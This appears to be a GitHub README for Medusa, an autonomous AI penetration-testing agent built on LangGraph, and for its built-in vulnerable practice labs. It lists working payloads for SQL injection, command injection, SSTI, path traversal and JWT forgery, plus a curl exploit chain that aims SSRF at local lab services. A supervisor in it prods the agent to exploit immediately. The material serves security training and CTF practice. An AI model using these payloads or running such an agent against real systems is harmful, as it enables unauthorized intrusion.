0xwi11iam/Medusa

GitHub: 0xwi11iam/Medusa

Medusa 是一款由 LangGraph 和 Re-Act 架构驱动的开源 AI 红队框架,将侦察、漏洞利用到报告生成的完整渗透测试流程自动化串联。

Stars: 1 | Forks: 0

Medusa Logo

Medusa

Autonomous Offensive Security — Built for Hunters

一款由 LangGraph 驱动的自主 agent,专为漏洞赏金猎人、安全研究人员和 CTF 选手设计。将侦察、漏洞利用和后渗透串联成一条完整的 pipeline。部署并行 subagent,查询持久化知识图谱,生成带有攻击链图表的审计追踪记录,并输出详尽的评估报告——一切皆可在你的终端中完成。从第一个数据包到最终报告,在每一个关键步骤中都包含人工监督。


67 Tools  ·  40 Modules  ·  45+ Attack Skills  ·  Parallel Subagents  ·  LLM Supervisor  ·  20 Bridge Modules  ·  28 Tests Passing
Version License Python LangGraph DeepSeek macOS


asciicast

Run Demo asciinema

15-step autonomous engagement: nmap >> .git leak >> AWS IAM keys >> JWT forge >> SSRF metadata >> S3 bucket >> 3 flags captured. $0.42 in API costs.


目录

面向人群?  ·  Pipeline  ·  靶场实验室  ·  快速开始  ·  架构  ·  配置  ·  监督器  ·  Subagent  ·  运行控制  ·  测试  ·  可移植性  ·  维护者



面向人群?

Bug Bounty

### 漏洞赏金猎人 自动化对数千个目标的侦察。让 Medusa 处理重复性工作——子域名枚举、端口扫描、目录暴力破解、技术指纹识别——而你可以专注于那些需要人类直觉的高价值漏洞。知识图谱会记住每一个被拦截的 WAF 模式、每一个确认的 CVE 以及每一个发现的 endpoint,让你永远不会重复测试同样的死胡同。为你的提交报告生成带有攻击链图表的专业报告。

Security Researcher

### 安全研究人员 借助一个能跨协议串联技术的 agent 探索全新的攻击路径。从 SSRF 到内部 API,从 JWT 算法混淆到权限提升,从 GraphQL 内省到跨租户数据访问——Medusa 负责处理多步骤链条,而由你来制定战略。内置的靶场实验室在两个 SaaS 应用中包含了 23 个刻意设计的漏洞,让你能够衡量 agent 的能力,并了解 AI 是如何推理攻击面的。

CTF

### CTF 选手 借助一个能同时跨多个服务并行侦察的 agent,快速通关夺旗赛。部署 subagent 同时攻击不同的端口、不同的 endpoint 以及不同的漏洞类型。监督器会留意遗漏的 flag、重复的模式以及未利用的漏洞——在你需要离开时确保 agent 保持在正轨上。使用内置的 CloudBoard Next 靶场(15 个漏洞,5 个 flag)进行练习,并调整你的 prompt 工程。

从侦察到 Flag — 一条连续的 Pipeline

侦察 >> 凭据提取 >> JWT 伪造 >> 权限提升 >> 捕获 Flag >> 审计报告

Medusa 不仅仅是扫描。它会思考。每一次迭代都遵循由 LangGraph 驱动的结构化“思考 >> 行动 >> 观察”循环。该 agent 能够发现服务、从暴露的 .git 目录和 source map 中提取机密信息、伪造身份验证 token、通过 GraphQL 批量赋值和 JWT 攻击提升权限、利用 SSTI 和命令注入、将 SSRF 串联至内部 API,并捕获 flag——同时由一个零成本的监督器监视循环、错失的机会和停滞状态。每一步都会记录到持久化的审计追踪中。最后,将生成一份全面的 Markdown 报告,其中包含 Mermaid 攻击链图表、漏洞发现表格以及完整的执行追踪记录。


刻意设计漏洞的靶场实验室 -- 内置

两个实践性靶场,在贴近真实的 SaaS 应用中总共包含 23 个漏洞。无需 Docker,无外部依赖——仅需 Python 和 Flask。


![CloudBoard Next](/assets/cloudboard.png) ### CloudBoard Next -- 3 服务现代 SaaS 一个贴近现实的多服务 SaaS 应用,包含 JWT 认证、GraphQL、SSE 实时通知、多租户隔离、OAuth 以及旧版管理面板。迫使 agent 跨服务串联攻击。 ``` python3 medusa/lab/cloudboard_next/app.py ```
#漏洞位置难度攻击链
1SQLi 登录绕过POST /login :5800简单admin' OR '1'='1' --
2JWT alg:none + kid 注入所有 JWT endpoint中等伪造 admin token >> 访问 /admin
3OAuth 开放重定向/oauth/authorize中等通过 redirect_uri 绕过窃取 Token
4GraphQL 内省 + IDOR/graphql中等Schema 导出 >> 跨租户用户查询
5GraphQL 批量赋值updateProfile mutation中等将任意用户的 role 设置为 admin
6SSTI(邮件模板)/admin/templates中等{{config}} >> 服务器 RCE
7存储型 XSS + SSE 广播评论 >> /ws中等<script> >> 所有已连接客户端
8SSRF(webhook 测试器)/admin/webhooks/test困难>> :5801 内部 API >> flag
9XXE(SVG OCR 上传)/files/ocr困难DOCTYPE entity >> 文件读取
10命令注入(导出)/admin/export中等; cat /tmp/flag
11暴露的 .git 目录/.git/HEAD简单>> JWT 密钥 + API 密钥泄露
12Source map 泄露/static/js/app.js.map简单>> FLAG{src_map_leak}
13IDOR 资料视图/profile/view/<id>简单跨租户查看任意用户
14内部 API 无认证:5801/api/admin/*中等Header 欺骗 >> config + flag
15旧版后台弱认证:5802/login简单硬编码 Token 绕过
``` # 快速利用链 curl -s http://127.0.0.1:5800/.git/COMMIT_EDITMSG # >> jwt_s3cr3t_cbn_2026 python3 -c "import jwt; print(jwt.encode({'user_id':1,'role':'admin'},'jwt_s3cr3t_cbn_2026',algorithm='HS256'))" curl -s http://127.0.0.1:5800/admin/flag -H "Authorization: Bearer " # >> FLAG{admin_panel_rce} curl -s -X POST http://127.0.0.1:5800/admin/webhooks/test \ -d 'url=http://127.0.0.1:5801/api/admin/flag' # >> FLAG{internal_ssrf} ``` ### DevOps Dashboard -- RCE 实验室 内部监控工具,包含命令注入、SSTI、SQL 注入、路径遍历和硬编码凭据。 ``` python3 medusa/lab/devops_dashboard/app.py ``` | # | 漏洞 | Endpoint | Payload | |:-:|:-------------|:---------|:--------| | 1 | SQL 注入 | `POST /login` | `admin' OR '1'='1' --` | | 2 | 默认凭据 | `/login` | `admin:DevOpsAdmin#2026!` | | 3 | 命令注入 | `/admin/ping` | `; cat /tmp/raxaid_flag.txt` | | 4 | SSTI | `/settings` | `{{config}}` >> 服务器配置泄露 | | 5 | 路径遍历 | `/logs?file=...` | `../../etc/passwd` | | 6 | 硬编码 API 密钥 | `/static/js/app.js` | `dk_api_4a2f8b1c9d3e` | | 7 | IDOR | `/api/users/` | 跨用户数据访问 | | 8 | 文件上传绕过 | `/admin/files` | `.pyc`/`.sh` >> `/admin/exec` |

快速开始

### 前置条件 | 要求 | 详情 | |:------------|:--------| | **Python** | 3.10+ | | **OS** | macOS, Linux, Windows | | **API 密钥** | DeepSeek, HuggingFace, Gemini 或 Anthropic | ``` git clone https://github.com/medusa/medusa-security.git cd medusa-security pip install -r medusa/requirements.txt # 设置你的 API key echo "DEEPSEEK_API_KEY=sk-..." > .env # 启动 python3 medusa/main.py ``` ## 架构 ``` graph TB subgraph "Medusa Core" MAIN[main.py
Rich TUI Entry] GRAPH[agent_graph.py
LangGraph State Machine] THINK[think_node.py
ReAct Reasoning + 7 Action Types] TOOLS[dispatch.py
67 Tools - 40 Modules] SUP[supervisor.py
Zero-Cost Pattern Detector] end subgraph "Tool System" NMAP[nmap] & SQLMAP[sqlmap] & GOBUSTER[gobuster] META[metasploit] & HYDRA[hydra] & NUCLEI[nuclei] MORE[31 more...] end subgraph "Agent Workspace" REPORTS[reports/] AUDIT[audit_trails/] KG[knowledge_graph.json] end MAIN --> GRAPH GRAPH --> THINK THINK --> TOOLS TOOLS --> NMAP & SQLMAP & GOBUSTER & META & HYDRA & NUCLEI & MORE SUP -.->|every 5 iters| GRAPH TOOLS --> REPORTS & AUDIT & KG ``` ## 配置 ``` { "provider": "deepseek", "deepseek_model": "deepseek-v4-flash", "max_iterations": 100, "temperature": 0.4, "supervisor_interval": 5, "cost_hard_cap_usd": 500.0, "mode_deploy_subagent": true, "mode_audit_trail": true, "mode_hotreload_skills": true, "report_auto_export": true, "report_format": "markdown", "subagent_count": 2 } ``` | 提供商 | 模型 | 环境变量 | |:---------|:-------|:--------| | **DeepSeek** | `deepseek-v4-flash`, `deepseek-v4-pro` | `DEEPSEEK_API_KEY` | | **HuggingFace** | Qwen, GLM, DeepSeek via TGI | `HF_API_KEY` | | **Gemini** | `gemini-2.5-pro`, `gemini-2.5-flash` | `GEMINI_API_KEY` | | **Anthropic** | `claude-opus-4-7`, `claude-sonnet-4-6` | `ANTHROPIC_API_KEY` | ## 监督器 -- 零成本监督 每 5 次迭代静默运行一次。纯模式匹配——**无 LLM 调用,零 API 成本**。 | 模式 | 触发条件 | 介入操作 | |:--------|:--------|:-------------| | 循环 | 连续 3 次使用同一工具 | *“尝试一种不同的方法。切换工具或攻击向量。”* | | 记录陷阱 | 4 轮及以上的记录/任务 | *“停止记录。立即开始漏洞利用。”* | | 遗漏 Flag | 发现 `FLAG{...}` 但未提取 | *“立即使用 claim_flag 提取它。”* | | 未跟进的漏洞 | 发现漏洞但未跟进 | *“立即测试该漏洞。不要转移目标。”* | | 失败的 Subagent | 3 个及以上 subagent 返回空结果 | *“Subagent 持续失败。你自己运行任务。”* | | 停滞 | 5 轮迭代无新信息 | *“彻底改变方法或直接生成报告。”* | ## Subagent 系统 ``` { "action": "deploy_subagent", "subagent_task": "SQLi on /login || XSS on /search || SSTI on /profile", "thought": "Parallelizing attack vectors across all endpoints" } ``` | 属性 | 值 | 描述 | |:---------|:------|:------------| | 最大并发数 | 3 | 通过 semaphore 控制 | | 最大步数 | 5 | 单个 subagent 迭代限制 | | LLM 超时 | 45秒 | 单个 subagent 的 LLM 调用 | | 工具超时 | 60秒 | 单次工具执行 | | 总超时 | 95秒 | 部署的硬性上限 | | 崩溃隔离 | 是 | 单个失败不会导致其他 subagent 崩溃 | | 链持久化 | 是 | 结果存入 chain_findings_memory | ## 运行控制 | 命令 | 上下文 | 动作|:--------|:--------|:-------| | `Ctrl+C` | 运行期间 | 暂停 agent,进入引导模式 | | `/report` | 暂停期间 | 强制生成 Markdown 报告 + 结束审计 | | `/audit` | 暂停期间 | 打印当前审计追踪记录 | | `/state` | 暂停期间 | 打印 agent 状态(阶段、迭代次数、成本) | | `/sessions` | 暂停期间 | 列出已保存的会话以供重放 | ``` #1 + informational Starting reconnaissance on ports 5800, 5801, 5802... > execute_terminal nmap -sV -sC -p 5800,5801,5802 127.0.0.1 output BG JOB a7ebbf04 -- Check: job_status a7ebbf04 Supervisor: You found a FLAG in the output but didn't claim it! ``` ## 测试 ``` python3 medusa/tests/test_agent_helpers.py ``` ``` [PASS] test_prompt_safety [PASS] test_hard_guardrail [PASS] test_error_class [PASS] test_json_utils [PASS] test_parsing [PASS] test_productivity [PASS] test_state [PASS] test_skill_loader [PASS] test_tool_registry [PASS] test_workspace_fs 10/10 tests passed ``` ## 可移植性 所有路径均通过 `Path(__file__).resolve().parent` 解析。可随意重命名项目文件夹——一切仍将正常运行。 ``` medusa/main.py >> os.path.dirname(os.path.dirname(os.path.abspath(__file__))) medusa/modules/loader.py >> Path(__file__).resolve().parent.parent medusa/tools/dispatch.py >> Path(__file__).resolve().parent.parent ``` 环境要求:`medusa/` 和 `Modules/` 位于同一层级,`medusa_agent/` 位于项目根目录,符号链接 `medusa/medusa_agent >> ../medusa_agent`

维护者

Medusa Mascot

William Jiang: Creator & Lead Developer

AI/ML engineer and security researcher. Designed the LangGraph state machine, subagent spawning system, supervisor pattern detector, knowledge graph integration, and 15-vulnerability CloudBoard Next lab.

GitHub
Roland Poon: Co-Creator & Marketing

Our marketing leader specializing in spreading this project to everyone who should have it.

GitHub

基于 MIT 许可协议授权 - 灵感来源于 RedAmon & Sakana Fugu

标签:逆向工具